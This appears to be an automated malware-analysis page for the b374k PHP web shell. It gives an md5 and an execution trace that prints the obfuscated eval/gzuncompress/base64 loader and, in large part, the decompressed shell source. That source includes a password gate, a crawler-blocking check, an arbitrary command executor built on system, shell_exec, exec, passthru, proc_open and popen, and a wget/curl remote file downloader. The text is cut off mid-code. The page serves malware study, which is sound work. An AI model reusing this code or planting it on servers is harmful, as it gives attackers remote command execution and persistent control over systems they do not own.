PHP Malware Analysis

b374k.min.php

md5: bcd323a4394e5249bb06efd2b53e3025

Jump to:

Screenshot


Attributes

Encoding

Environment

Execution

Files

Input

Title

URLs


Deobfuscated PHP code

Failed to deobfuscate code

Execution traces

data/traces/bcd323a4394e5249bb06efd2b53e3025_trace-1676244293.6669.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 21:25:19.564714]
1	0	1	0.000210	393528
1	3	0	0.000893	505328	{main}	1		/var/www/html/uploads/b374k.min.php	0	0
1		A						/var/www/html/uploads/b374k.min.php	9	GLOBALS['pass'] = 'fb621f5060b9f65acf8eb4232e3024140dea2b34'
1		A						/var/www/html/uploads/b374k.min.php	10	$func = 'create_function'
2	4	0	0.000944	505328	create_function	0		/var/www/html/uploads/b374k.min.php	10	2	'$x'	'eval("?>".gzuncompress(base64_decode($x)));'
3	5	0	0.000976	506864	{internal eval}	1		/var/www/html/uploads/b374k.min.php	10	0
3	5	1	0.000990	506864
3	5	R			NULL
2	4	1	0.001006	506344
2	4	R			'\000lambda_11'
1		A						/var/www/html/uploads/b374k.min.php	10	$b374k = '\000lambda_11'
2	6	0	0.001033	506280	__lambda_func	1		/var/www/html/uploads/b374k.min.php	10	1	'eNrsvQl74zayKPpXGB3fyBrZ1r6120607/uu7lx/FElJlLiJpNZ0/vvFwgWkKFtOZ+add8/NfNOmgEKhABQKhUKh8PU3ZaVQd+VGO5dt9L/5RZndCdybLr8JMs36/6BeKFpV6dO9jzsqgqxyqu+B8umcKvISLcBvbo//MrK051QdfrK0Ts9pjYPfvLSQ4V+R5hGYxOkHWd3AT0WVGU7TOM0XeP7t9auLEpXT5J0KAPx/fPPPY6n4BlHjW40mM1VtxotScrnO9lb59EluZFaTbmZZYKPHVS1xOqRDg3WozS1SeqffL8dqh/VsNDlFFsIsLDGhxn63CdWzK7GSXmeU5mo4TNPpZDx/lLqxcWLRKB3EemLBT+K1UeYonTJyuhyLBgdHZbXVMvnFetXfFlYcr43k9UaozCstplFoRVKVGl3eKIVKecWWCspGkCZsiG4d6HJzORov5YlcGYnR/Xajj2OdorgphGapfE7v10uH0XTSnqQjB3YVEqctcZXZnaLV'
3	7	0	0.001123	506280	base64_decode	0		/var/www/html/uploads/b374k.min.php(10) : runtime-created function	1	1	'eNrsvQl74zayKPpXGB3fyBrZ1r6120607/uu7lx/FElJlLiJpNZ0/vvFwgWkKFtOZ+add8/NfNOmgEKhABQKhUKh8PU3ZaVQd+VGO5dt9L/5RZndCdybLr8JMs36/6BeKFpV6dO9jzsqgqxyqu+B8umcKvISLcBvbo//MrK051QdfrK0Ts9pjYPfvLSQ4V+R5hGYxOkHWd3AT0WVGU7TOM0XeP7t9auLEpXT5J0KAPx/fPPPY6n4BlHjW40mM1VtxotScrnO9lb59EluZFaTbmZZYKPHVS1xOqRDg3WozS1SeqffL8dqh/VsNDlFFsIsLDGhxn63CdWzK7GSXmeU5mo4TNPpZDx/lLqxcWLRKB3EemLBT+K1UeYonTJyuhyLBgdHZbXVMvnFetXfFlYcr43k9UaozCstplFoRVKVGl3eKIVKecWWCspGkCZsiG4d6HJzORov5YlcGYnR/Xajj2OdorgphGapfE7v10uH0XTSnqQjB3YVEqctcZXZnaLV'
3	7	1	0.001470	616904
3	7	R			'x��\t{�6�(�W\030\035��\032�־��N���\\\024II�����t����\005�([Ng�w��|Ӧ�B�\000\024\n�B��7e�Pw�F;�m�E��\tܛ.�\t2���^(ZU�ӽ�;*��r����*�\022-�on��2���T\035~��N�i��߼���_��\021���\aY�OE�\031N�8�\027x���\022���\n\000�|��c��\006Q�[�&3UmƋRr��V��IndV�nfY`��U-q:�C�u��-Rz��/�j��l49E\026�,,1��~�\tճ+��^g��j8L��d<���qb�(\035�zb�O�Q�(�2r�\034�\006\aGe��2��z��\026V\034���F��+-�QhER�\032]�(�JyŖ\n�F�&l�n\035�rs9\032/�\\\031��v��c���)�f�|N��K��tҞ�#\av\025\022�-q�ٝ�ձ�Z7�\b����zp���zPV����O2�\\h\02'
3	8	0	0.002960	616872	gzuncompress	0		/var/www/html/uploads/b374k.min.php(10) : runtime-created function	1	1	'x��\t{�6�(�W\030\035��\032�־��N���\\\024II�����t����\005�([Ng�w��|Ӧ�B�\000\024\n�B��7e�Pw�F;�m�E��\tܛ.�\t2���^(ZU�ӽ�;*��r����*�\022-�on��2���T\035~��N�i��߼���_��\021���\aY�OE�\031N�8�\027x���\022���\n\000�|��c��\006Q�[�&3UmƋRr��V��IndV�nfY`��U-q:�C�u��-Rz��/�j��l49E\026�,,1��~�\tճ+��^g��j8L��d<���qb�(\035�zb�O�Q�(�2r�\034�\006\aGe��2��z��\026V\034���F��+-�QhER�\032]�(�JyŖ\n�F�&l�n\035�rs9\032/�\\\031��v��c���)�f�|N��K��tҞ�#\av\025\022�-q�ٝ�ձ�Z7�\b����zp���zPV����O2�\\h\02'
3	8	1	0.005131	829896
3	8	R			'<?php $GLOBALS[\'module_to_load\'] = array("explorer", "terminal", "eval", "convert", "database", "info", "mail", "network", "processes");?><?php $GLOBALS[\'resources\'][\'b374k\'] = "hVXZrrM4En6gjARhC8yoL9hXQ9gDd2xhJ5yw8/Tj/Oef7tPSSG3JwjZVXy1flZ0nc/Lvuk/KAhmH8j9pMhUU8a864CxnQ3W5fLFwmK5fiX4JV9xny9o8G32+Txphqs9CfjhSqDheisVojklHbHNcLDN17HJaGkpDHGhdFDpklnXd/aNwaGMgVWgoXoHVm2vqktW3PEmkD/Z7CBtSKFwVYXOX81wdh/mYNmh9uy2IWnNjLKB1cAYmEK+bjQWvxK+orA+8oiX9CB/f0dm1akNfVGEnrKGaM/na5bJYFvJ1SgdAFVAf+rRGvU999mkYoJFL16pSUlBm'
3	9	0	0.008896	1472536	eval	1	'?><?php $GLOBALS[\'module_to_load\'] = array("explorer", "terminal", "eval", "convert", "database", "info", "mail", "network", "processes");?><?php $GLOBALS[\'resources\'][\'b374k\'] = "hVXZrrM4En6gjARhC8yoL9hXQ9gDd2xhJ5yw8/Tj/Oef7tPSSG3JwjZVXy1flZ0nc/Lvuk/KAhmH8j9pMhUU8a864CxnQ3W5fLFwmK5fiX4JV9xny9o8G32+Txphqs9CfjhSqDheisVojklHbHNcLDN17HJaGkpDHGhdFDpklnXd/aNwaGMgVWgoXoHVm2vqktW3PEmkD/Z7CBtSKFwVYXOX81wdh/mYNmh9uy2IWnNjLKB1cAYmEK+bjQWvxK+orA+8oiX9CB/f0dm1akNfVGEnrKGaM/na5bJYFvJ1SgdAFVAf+rRGvU999mkYoJFL16pSUlBmy+WJUVupTTGtU6XK9HlOSHG4FvwFHNcGCOKuChFmNCJqehEG3K0EDbuDmt4+06zR3RReV7N5HebBlir/ezZEeVe0Nm5G1xGjP/3Jeqe/u9orV5zNquk1x3PcGLLT6JkjPujd8lrSONnDONXDeED9+noWIYlGj3KG+s0PXDF+mE3WdzCGbk1r7ojliIpCbc0fNqPW6l85gHH+tAnPlt85WSKMmQ28qjKe3o2GXWHOiTTcl+wcIUec6XlonSgOmgmv1cBI6Od3roxffDJE9GBX4BKbgV1n4/jLZoY7bhxGjNpXaK6wlHEwS3b8yX+TYuhayNJmnOICeOYMlG6LXcaFMUH/teZTS3ENIE+QU2EUIOdVLjNHIDNrCjm1v/0vfbla4fmZyMymiqZn1uwrwLoF2sGzo/3WF6+m1XYL9KlKe7NzfZifT63w5JiENgVaRzIhx0CwCSCUB/AkCaCS4Ag5Z6LgtDx2N89Ysv3oBx60jwdzDLn5gdf+Hc//R7x7zdIffjwfpRw5OJJH3MVifMD8lL9zSCUheeayBLkKNAfG/pE3+g72xutwRB81m2gDTblZgroD3z9t3xRNVMTtE5CwfnGzDTgH1sP/8GBumjy8dung/MBz/o53/iPe+vHdwP9PLX5qlGd+1aPfOvK33He//eo/D/4XGCKTpSbBAlSVg+XT51mtIveF8kPtc+/oh+s7XKA0yVMyc1czK0m5FcizEtp3j9Uobo/VtFeRWwLVL9WirnUKcXlW93Szk17izDlPcX1EFbigsg1m4Bu3L7f8clGbN3VPcKlMC+WaGsjbLV5xpLikFwYn4nK/PwUux5s7Te7nMFjWuTxPwuXfN+fWDrpVEkUS5Ex458opjhDcjLNQQz05SfRiic/yxJYClJJ0GalwMFCLbU6gX550e9lKYn/sJnMVyGGiXy3NOwrpYvKrdGmF09vrvuSXhePUbezJ83DWELlMCqstgB6mN1DFTqlRJFHYXuoQS8VC57CK9a0j0aZJLwEtMql9hnM1CqajXPlsJmLrdJKyeyDCFF28zPzy/BwbK7F5Xa06LEld9yvNS5eEenjezdVXtzNGOeQowW+W0C5CpCdqTQ2rFy2snHfB5tLaxnjaATL3yDQw3ntK3pgFvqi3FeCPK7MNmeabrjgNujuF9XNHOT3yyrwS9lo0uWcT88uuFc0DDYnnO67Z2Iz9YA/06Nlnx6J76pWMd30jVPZGJDyv1qD4ioVxDtUloC8V2z4sSC9TJIZ5vFfrmY+EPCJSo3cjcFMDdBGWV3zCZ+Lga+VMThJhf7Wtqk8CO8uPgbFdr+pAL/ElXfq9aIzto2QY6WVupahhDceF44u7I/TE31hQI2KEiKvhc7bGjxbwGOxaCTKptWrZ3XMauYmqNLoVb4PhzUbTO0RLQ3T8zTOfK3wjk+6V52G/Lhhp7t65JjIFRMMJHjrilgb9VGKGbSbA6/4pfXGV29gx2755aq2/juOiGvnu325kquDsPUi7EG/wO6zHjEhlVTHv8G4hcjaT8nnqPPRmhdlaOYGmrsFcoggzVNpbBl9f4TlK6bWQoqUOnnnK8plsdesZ7WhmFVsSuPOx1BHp45oUpElV7XhhE/TYvfFXKszKl7t7TkzpzJO8l6zI9ki1soLaypb96wl3/cBydJKPVPWP/wI="; $GLOBALS[\'resources\'][\'mime\'] = "dZThdqMgEIX/7zn7DvMC2jZ62t3HmQgaGkepCDFvvxeNis32xx3huwMYmUkwSvcvRWMtIfz+Fbb5CeC0gsvp/Y1iSEARQZGAMoJyBZ9WN/Rpm7ADoUWNrEw+T7TIbmeJLemhgNCUu4EdH2EekLwh47Sd0DcN9fuBX95U19GIpq+RpN946FSudKXziyIfLlC4PHnSn02r4Un05cm3ca2Nnn3yXPRc9NyTN0+jFXV8pXDO63gmBimvw0hQiuJH8ENLMnmS0h8sl9mW74Nmdc9FK8O5vQeC0iyc7fP4kX3w8UUOWwQTekJY2U2fhWJYwZTVuBooAa0hKAXIaJMMibeZLhEeh95dmeQK51ooBJfYHe64axLgMnY1LZoOPPRngg7shneWbyQAhW9sAjvudgtg4cCWW+OQ/EDXmAxFZTTNMTFwjIvHsFemf2FlKyHEFZzZmYrYk+vUysQoQwg0D6480CBmM5dm4H2+tAC+HLoUioMCjYBnsWUtzcAUn85OK3aFELRNTXslhHW+1ek8RWlwLA8+2KYxI7fZzXTKke6Pawcm6IBGR9A3FJsPj4tKeesr3Y156E2lqQ029f5b2IzCPhzWeT1wjh/Q2vLP6yttox+SPsqPR1Ic/ZD0933dKY7SpMFYgla0dsr2SlPGjLvmKgGmRgGbWXNIvIprgnZQt1gew46StkmO2f4RCp9A1DKjlnk6MmHUfLLYdhk+a7tc+cBCww8mbsA3pkNx2j3hxmgr3up9EprkHw=="; $GLOBALS[\'resources\'][\'arrow\'] = "FZXHDqtYDIYfKCPRS2Z0F4cSem+BHfVQA6HD00+uF/Zny2XzSy7SNf23GVJYItMH/pelS0mT/zQhZ7kHqklwBD8zvaAWA/gj/m8KIA/iX+Du8jOjfwv8m1Oit/Gjxfs5XYSyR7wZ9sdiLPaiE7rxwYZvDz3z0G0fN9Pt1PqiDLuyRgzA7sVpo2NvL3Cdy6p1eSS3Um21eZqfW2uc6Xc9STYjG0E8zybZ3lxYrGLgmij6FTgD+oE1fHzRyB9IXpIFlT+6J8XARNRivqAELyNW694fBYKgdQ54i2RquOgoIwOqEpRK6G66qk4HjFCAWX9NRp5cU6hMsdvSQhiGCXr7Hmfyl/TaR9KwjDxldWNp9wx7zux2sY0uWUABDxUQWhoG2Dt8WlOYIuH8fjpej0l0Ag3k01AHYyLNNo7exzAS7jczTk5oogzNlETVL5g2TcLYQI7n5y+9dRXzgN4z19fKr4mPCsLm+Z4fhc9nFab7ORjMJSOarH0XxJM8bMHBKhENzgreEnB4RwFNgUb1wm6yMFd9syRt0rPChFJ4e7D2md63/czFE+B2LsNxEpkwZeLntSUuUyuCTZGb0bYMBi9PfT3ACaK/fYdUE8GzeuLXbI0WiI/zRT7snWMV7vXc0BLFwQvIfSYKjgtoIiKJO8reFV4ahnMA1JRdKx1HMiyyMoZnMgQX7W2Jb4/tudaDRtJOUgZY5FAFbpEnYQiABEU5E+XyKu3pqRizh676B29Ssyk1ZZcZwLKwlms5igcnOp1+1ekSSQK9Lv0S2ZnH92jrgEbjN0b9dO44OK4Z4mIc2VxoxxZepzO+WLzcJrra8wYG5RKqDNe3w+ODQnrPzk+OyZo+z8kL8HK3XNhcc7Cy92cVYW3WsVZpSzZCVEopMlUun/XlOFzTWnVpt8ShAFmZsxVB3sNWkvLAUSxdyhWMgea1yH4jJVBb3QaAFPrxU3v6VD7DsFpOCVxSwRZsTFsw6Ga1qFmVUxS3tV9WjJkhkxZAMaHLA7+0NJ7dy9abkmqhppR9oAYIJM9g3OHTD+8+wQtkYMCiHSxQxMEzWvkktKPzgskfd/F3m4WH09lAfUtThQ+JA2pMvbnJ6t8SLwdtzXvR47Ze0Z0VkC5F6c7eSxl6n8/pudIYGl89MitzIHEuXxVYD3J+qt9oQ4PJqsQjEOewetHZEUf8UCRYjHw7vmxoe0Bjtx59p4PftRrDqXDRXTLqQ1NGLVE613PVZmyaiRe6SnV9b8SCdA91B7a1hB8RS3xWHIXdY6T9TwCc0xRi3IZGTB74VSs6rLkrXVm0jVjjQNstEz3DCNOpVy3Xk91cVJxbaOKEbFvrQCy2fxSUzhanvPq5bmccNWTPG3UbMsXoPWSS5TTTvo/W8LsiZ6Sdzdm2qGSqJapvuncb/jlI1c4i60NN53TasogwL0a/GFnyF4lgiGXW2N7BNyL5EEyQA42LdZtao2S9f+reA04QDbaEQtRg0YRlb/E0ksyci4MM1HlVvvqQlz0aqMXesslvqz7Y4baL0WvNHvflRnLNxLR5IFfb9KrZT97Lotz8OFtJJj9ugSFhVYy9nzcuRvC+vbF6zdrWpYtPek+rxjaeMog4pvOIbJ3wOTQmFb3d/atN9HV7ZsuZFAIRngh0oVQKZXb+fgBOdQNKnDsVQvjnz/8="; ?><?php $GLOBALS[\'ver\'] = "3.2.3"; $GLOBALS[\'title\'] = "b374k"; @ob_start(); error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE); @ini_set(\'html_errors\',\'0\'); @ini_set(\'display_errors\',\'1\'); @ini_set(\'display_startup_errors\',\'1\'); @ini_set(\'log_errors\',\'0\'); @set_time_limit(0); @clearstatcache(); if(!function_exists(\'auth\')){ function auth(){ if(isset($GLOBALS[\'pass\']) && (trim($GLOBALS[\'pass\'])!=\'\')){ $c = $_COOKIE; $p = $_POST; if(isset($p[\'pass\'])){ $your_pass = sha1(md5($p[\'pass\'])); if($your_pass==$GLOBALS[\'pass\']){ setcookie("pass", $your_pass, time()+36000, "/"); header("Location: ".get_self()); } } if(!isset($c[\'pass\']) || ((isset($c[\'pass\'])&&($c[\'pass\']!=$GLOBALS[\'pass\'])))){ $res = "<!doctype html> <html> <head> <meta charset=\'utf-8\'> <meta name=\'robots\' content=\'noindex, nofollow, noarchive\'> <meta name=\'viewport\' content=\'width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no, user-scalable=0\'> </head> <body style=\'background:#f8f8f8;color:#000000;padding:0;margin:0;\'><br><p><center><noscript>You need to enable javascript</noscript></center></p> <script type=\'text/javascript\'> var d = document; d.write(\\"<br><br><form method=\'post\'><center><input type=\'password\' id=\'pass\' name=\'pass\' style=\'font-size:34px;width:34%;outline:none;text-align:center;background:#ffffff;padding:8px;border:1px solid #cccccc;border-radius:8px;color:#000000;\'></center></form>\\"); d.getElementById(\'pass\').focus(); d.getElementById(\'pass\').setAttribute(\'autocomplete\', \'off\'); </script> </body></html> "; echo $res; die(); } } } } if(!function_exists(\'get_server_info\')){ function get_server_info(){ $server_addr = isset($_SERVER[\'SERVER_ADDR\'])? $_SERVER[\'SERVER_ADDR\']:$_SERVER["HTTP_HOST"]; $server_info[\'ip_adrress\'] = "Server IP : ".$server_addr." <span class=\'strong\'>|</span> Your IP : ".$_SERVER[\'REMOTE_ADDR\']; $server_info[\'time_at_server\'] = "Time <span class=\'strong\'>@</span> Server : ".@date("d M Y H:i:s",time()); $server_info[\'uname\'] = php_uname(); $server_software = (getenv(\'SERVER_SOFTWARE\')!=\'\')? getenv(\'SERVER_SOFTWARE\')." <span class=\'strong\'>|</span> ":\'\'; $server_info[\'software\'] = $server_software." PHP ".phpversion(); return $server_info; } } if(!function_exists(\'get_self\')){ function get_self(){ $query = (isset($_SERVER["QUERY_STRING"])&&(!empty($_SERVER["QUERY_STRING"])))?"?".$_SERVER["QUERY_STRING"]:""; return html_safe($_SERVER["REQUEST_URI"].$query); } } if(!function_exists(\'get_post\')){ function get_post(){ return fix_magic_quote($_POST); } } if(!function_exists(\'get_nav\')){ function get_nav($path){ return parse_dir($path); } } if(!function_exists(\'get_cwd\')){ function get_cwd(){ $cwd = getcwd().DIRECTORY_SEPARATOR; if(!isset($_COOKIE[\'cwd\'])){ setcookie("cwd", $cwd); } else{ $cwd_c = rawurldecode($_COOKIE[\'cwd\']); if(is_dir($cwd_c)) $cwd = realpath($cwd_c).DIRECTORY_SEPARATOR; else setcookie("cwd", $cwd); } return $cwd; } } if(!function_exists(\'wrap_with_quotes\')){ function wrap_with_quotes($str){ return "\\"".$str."\\""; } } if(!function_exists(\'get_resource\')){ function get_resource($type){ if(isset($GLOBALS[\'resources\'][$type])){ return gzinflate(base64_decode($GLOBALS[\'resources\'][$type])); } return false; } } if(!function_exists(\'block_bot\')){ function block_bot(){ if(isset($_SERVER[\'HTTP_USER_AGENT\']) && (preg_match(\'/bot|spider|crawler|slurp|teoma|archive|track|snoopy|java|lwp|wget|curl|client|python|libwww/i\', $_SERVER[\'HTTP_USER_AGENT\']))){ header("HTTP/1.0 404 Not Found"); header("Status: 404 Not Found"); die(); } elseif(!isset($_SERVER[\'HTTP_USER_AGENT\'])){ header("HTTP/1.0 404 Not Found"); header("Status: 404 Not Found"); die(); } } } if(!function_exists(\'is_win\')){ function is_win(){ return (strtolower(substr(php_uname(),0,3)) == "win")? true : false; } } if(!function_exists(\'fix_magic_quote\')){ function fix_magic_quote($arr){ $quotes_sybase = strtolower(ini_get(\'magic_quotes_sybase\')); if(function_exists(\'get_magic_quotes_gpc\') && get_magic_quotes_gpc()){ if(is_array($arr)){ foreach($arr as $k=>$v){ if(is_array($v)) $arr[$k] = clean($v); else $arr[$k] = (empty($quotes_sybase) || $quotes_sybase === \'off\')? stripslashes($v) : stripslashes(str_replace("\\\'\\\'", "\\\'", $v)); } } } return $arr; } } if(!function_exists(\'execute\')){ function execute($code){ $output = ""; $code = $code." 2>&1"; if(is_callable(\'system\') && function_exists(\'system\')){ ob_start(); @system($code); $output = ob_get_contents(); ob_end_clean(); if(!empty($output)) return $output; } elseif(is_callable(\'shell_exec\') && function_exists(\'shell_exec\')){ $output = @shell_exec($code); if(!empty($output)) return $output; } elseif(is_callable(\'exec\') && function_exists(\'exec\')){ @exec($code,$res); if(!empty($res)) foreach($res as $line) $output .= $line; if(!empty($output)) return $output; } elseif(is_callable(\'passthru\') && function_exists(\'passthru\')){ ob_start(); @passthru($code); $output = ob_get_contents(); ob_end_clean(); if(!empty($output)) return $output; } elseif(is_callable(\'proc_open\') && function_exists(\'proc_open\')){ $desc = array( 0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w")); $proc = @proc_open($code, $desc, $pipes, getcwd(), array()); if(is_resource($proc)){ while($res = fgets($pipes[1])){ if(!empty($res)) $output .= $res; } while($res = fgets($pipes[2])){ if(!empty($res)) $output .= $res; } } @proc_close($proc); if(!empty($output)) return $output; } elseif(is_callable(\'popen\') && function_exists(\'popen\')){ $res = @popen($code, \'r\'); if($res){ while(!feof($res)){ $output .= fread($res, 2096); } pclose($res); } if(!empty($output)) return $output; } return ""; } } if(!function_exists(\'html_safe\')){ function html_safe($str){ return htmlspecialchars($str, 2 | 1); } } if(!function_exists(\'parse_dir\')){ function parse_dir($path){ $path = realpath($path).DIRECTORY_SEPARATOR; $paths = explode(DIRECTORY_SEPARATOR, $path); $res = ""; for($i = 0; $i < sizeof($paths)-1; $i++){ $x = ""; for($j = 0; $j <= $i; $j++) $x .= $paths[$j].DIRECTORY_SEPARATOR; $res .= "<a class=\'navbar\' data-path=\'".html_safe($x)."\'>".html_safe($paths[$i])." ".DIRECTORY_SEPARATOR." </a>"; } if(is_win()) $res = get_drives().$res; return trim($res); } } if(!function_exists(\'zip\')){ function zip($files, $archive){ $status = false; if(!extension_loaded(\'zip\')) return $status; if(class_exists("ZipArchive")){ $zip = new ZipArchive(); if(!$zip->open($archive, 1)) return $status; if(!is_array($files)) $files = array($files); foreach($files as $file){ $file = str_replace(get_cwd(), \'\', $file); $file = str_replace(\'\\\\\', \'/\', $file); if(is_dir($file)){ $filesIterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($file), 1); foreach($filesIterator as $iterator){ $iterator = str_replace(\'\\\\\', \'/\', $iterator); if(in_array(substr($iterator, strrpos($iterator, \'/\')+1), array(\'.\', \'..\'))) continue; if(is_dir($iterator)) $zip->addEmptyDir(str_replace($file.\'/\', \'\', $iterator.\'/\')); else if(is_file($iterator)) $zip->addFromString(str_replace($file.\'/\', \'\', $iterator), read_file($iterator)); } } elseif(is_file($file)) $zip->addFromString(basename($file), read_file($file)); } if($zip->getStatusString()!==false) $status = true; $zip->close(); } return $status; } } if(!function_exists(\'compress\')){ function compress($type, $archive, $files){ if(!is_array($files)) $files = array($files); if($type==\'zip\'){ if(zip($files, $archive)) return true; else return false; } elseif(($type==\'tar\')||($type==\'targz\')){ $archive = basename($archive); $listsBasename = array_map("basename", $files); $lists = array_map("wrap_with_quotes", $listsBasename); if($type==\'tar\') execute("tar cf \\"".$archive."\\" ".implode(" ", $lists)); elseif($type==\'targz\') execute("tar czf \\"".$archive."\\" ".implode(" ", $lists)); if(is_file($archive)) return true; else return false; } return false; } } if(!function_exists(\'decompress\')){ function decompress($type, $archive, $path){ $path = realpath($path).DIRECTORY_SEPARATOR; $status = false; if(is_dir($path)){ chdir($path); if($type==\'unzip\'){ if(class_exists(\'ZipArchive\')){ $zip = new ZipArchive(); $target = $path.basename($archive,".zip"); if($zip->open($archive)){ if(!is_dir($target)) mkdir($target); if($zip->extractTo($target)) $status = true; $zip->close(); } } } elseif($type==\'untar\'){ $target = basename($archive,".tar"); if(!is_dir($target)) mkdir($target); $before = count(get_all_files($target)); execute("tar xf \\"".basename($archive)."\\" -C \\"".$target."\\""); $after = count(get_all_files($target)); if($before!=$after) $status = true; } elseif($type==\'untargz\'){ $target = ""; if(strpos(strtolower($archive), ".tar.gz")!==false) $target = basename($archive,".tar.gz"); elseif(strpos(strtolower($archive), ".tgz")!==false) $target = basename($archive,".tgz"); if(!is_dir($target)) mkdir($target); $before = count(get_all_files($target)); execute("tar xzf \\"".basename($archive)."\\" -C \\"".$target."\\""); $after = count(get_all_files($target)); if($before!=$after) $status = true; } } return $status; } } if(!function_exists(\'download\')){ function download($url ,$saveas){ if(!preg_match("/[a-z]+:\\/\\/.+/",$url)) return false; $filename = basename($url); if($content = read_file($url)){ if(is_file($saveas)) unlink($saveas); if(write_file($saveas, $content)){ return true; } } $buff = execute("wget ".$url." -O ".$saveas); if(is_file($saveas)) return true; $buff = execute("curl ".$url." -o ".$saveas); if(is_file($saveas)) return true; $buff = execute("lwp-download ".$url." ".$saveas); if(is_file($saveas)) return true; $buff = execute("lynx -source ".$url." > ".$saveas); if(is_file($saveas)) return true; return false; } } if(!function_exists(\'get_fileperms\')){ function get_fileperms($file){ if($perms = @fileperms($file)){ $flag = \'u\'; if(($perms & 0xC000) == 0xC000)$flag = \'s\'; elseif(($perms & 0xA000) == 0xA000)$flag = \'l\'; elseif(($perms & 0x8000) == 0x8000)$flag = \'-\'; elseif(($perms & 0x6000) == 0x6000)$flag = \'b\'; elseif(($perms & 0x4000) == 0x4000)$flag = \'d\'; elseif(($perms & 0x2000) == 0x2000)$flag = \'c\'; elseif(($perms & 0x1000) == 0x1000)$flag = \'p\'; $flag .= ($perms & 00400)? \'r\':\'-\'; $flag .= ($perms & 00200)? \'w\':\'-\'; $flag .= ($perms & 00100)? \'x\':\'-\'; $flag .= ($perms & 00040)? \'r\':\'-\'; $flag .= ($perms & 00020)? \'w\':\'-\'; $flag .= ($perms & 00010)? \'x\':\'-\'; $flag .= ($perms & 00004)? \'r\':\'-\'; $flag .= ($perms & 00002)? \'w\':\'-\'; $flag .= ($perms & 00001)? \'x\':\'-\'; return $flag; } else return "???????????"; } } if(!function_exists(\'format_bit\')){ function format_bit($size){ $base = log($size) / log(1024); $suffixes = array(\'B\',\'KB\',\'MB\',\'GB\',\'TB\',\'PB\',\'EB\',\'ZB\',\'YB\'); return round(pow(1024, $base - floor($base)),2)." ".$suffixes[floor($base)]; } } if(!function_exists(\'get_filesize\')){ function get_filesize($file){ $size = @filesize($file); if($size!==false){ if($size<=0) return 0; return format_bit($size); } else return "???"; } } if(!function_exists(\'get_filemtime\')){ function get_filemtime($file){ return @date("d-M-Y H:i:s", filemtime($file)); } } if(!function_exists(\'get_fileowner\')){ function get_fileowner($file){ $owner = "?:?"; if(function_exists("posix_getpwuid")){ $name = posix_getpwuid(fileowner($file)); $group = posix_getgrgid(filegroup($file)); $owner = $name[\'name\'].":".$group[\'name\']; } return $owner; } } if(!function_exists(\'rmdirs\')){ function rmdirs($dir, $counter = 0){ if(is_dir($dir)) $dir = realpath($dir).DIRECTORY_SEPARATOR; if($dh = opendir($dir)){ while(($f = readdir($dh))!==false){ if(($f!=\'.\')&&($f!=\'..\')){ $f = $dir.$f; if(@is_dir($f)) $counter += rmdirs($f); else{ if(unlink($f)) $counter++; } } } closedir($dh); if(rmdir($dir)) $counter++;; } return $counter; } } if(!function_exists(\'copys\')){ function copys($source , $target ,$c=0){ $source = realpath($source).DIRECTORY_SEPARATOR; if($dh = opendir($source)){ if(!is_dir($target)) mkdir($target); $target = realpath($target).DIRECTORY_SEPARATOR; while(($f = readdir($dh))!==false){ if(($f!=\'.\')&&($f!=\'..\')){ if(is_dir($source.$f)){ copys($source.$f, $target.$f, $c); } else{ if(copy($source.$f, $target.$f)) $c++; } } } closedir($dh); } return $c; } } if(!function_exists(\'get_all_files\')){ function get_all_files($path){ $path = realpath($path).DIRECTORY_SEPARATOR; $files = glob($path.\'*\'); for($i = 0; $i<count($files); $i++){ if(is_dir($files[$i])){ $subdir = glob($files[$i].DIRECTORY_SEPARATOR.\'*\'); if(is_array($files) && is_array($subdir)) $files = array_merge($files, $subdir); } } return $files; } } if(!function_exists(\'read_file\')){ function read_file($file){ $content = false; if($fh = @fopen($file, "rb")){ $content = ""; while(!feof($fh)){ $content .= fread($fh, 8192); } } return $content; } } if(!function_exists(\'write_file\')){ function write_file($file, $content){ if($fh = @fopen($file, "wb")){ if(fwrite($fh, $content)!==false) return true; } return false; } } if(!function_exists(\'view_file\')){ function view_file($file, $type, $preserveTimestamp=\'true\'){ $output = ""; if(is_file($file)){ $dir = dirname($file); $owner = ""; if(!is_win()){ $owner = "<tr><td>Owner</td><td>".get_fileowner($file)."</td></tr>"; } $image_info = @getimagesize($file); $mime_list = get_resource(\'mime\'); $mime = ""; $file_ext_pos = strrpos($file, "."); if($file_ext_pos!==false){ $file_ext = trim(substr($file, $file_ext_pos),"."); if(preg_match("/([^\\s]+)\\ .*\\b".$file_ext."\\b.*/i", $mime_list, $res)){ $mime = $res[1]; } } if($type=="auto"){ if(is_array($image_info)) $type = \'image\'; elseif(!empty($mime)) $type = "multimedia"; else $type = "raw"; } $content = ""; if($type=="code"){ $hl_arr = array( "hl_default"=> ini_get(\'highlight.default\'), "hl_keyword"=> ini_get(\'highlight.keyword\'), "hl_string"=> ini_get(\'highlight.string\'), "hl_html"=> ini_get(\'highlight.html\'), "hl_comment"=> ini_get(\'highlight.comment\') ); $content = highlight_string(read_file($file),true); foreach($hl_arr as $k=>$v){ $content = str_replace("<font color=\\"".$v."\\">", "<font class=\'".$k."\'>", $content); $content = str_replace("<span style=\\"color: ".$v."\\">", "<span class=\'".$k."\'>", $content); } } elseif($type=="image"){ $width = (int) $image_info[0]; $height = (int) $image_info[1]; $image_info_h = "Image type = <span class=\'strong\'>(</span> ".$image_info[\'mime\']." <span class=\'strong\'>)</span><br> Image Size = <span class=\'strong\'>( </span>".$width." x ".$height."<span class=\'strong\'> )</span><br>"; if($width > 800){ $width = 800; $imglink = "<p><a id=\'viewFullsize\'> <span class=\'strong\'>[ </span>View Full Size<span class=\'strong\'> ]</span></a></p>"; } else $imglink = ""; $content = "<center>".$image_info_h."<br>".$imglink." <img id=\'viewImage\' style=\'width:".$width."px;\' src=\'data:".$image_info[\'mime\'].";base64,".base64_encode(read_file($file))."\' alt=\'".$file."\'></center> "; } elseif($type=="multimedia"){ $content = "<center> <video controls> <source src=\'\' type=\'".$mime."\'> </video> <p><span class=\'button\' onclick=\\"multimedia(\'".html_safe(addslashes($file))."\');\\">Load Multimedia File</span></p> </center>"; } elseif($type=="edit"){ $preservecbox = ($preserveTimestamp==\'true\')? " cBoxSelected":""; $content = "<table id=\'editTbl\'><tr><td colspan=\'2\'><input type=\'text\' id=\'editFilename\' class=\'colSpan\' value=\'".html_safe($file)."\' onkeydown=\\"trap_enter(event, \'edit_save_raw\');\\"></td></tr><tr><td class=\'colFit\'><span class=\'button\' 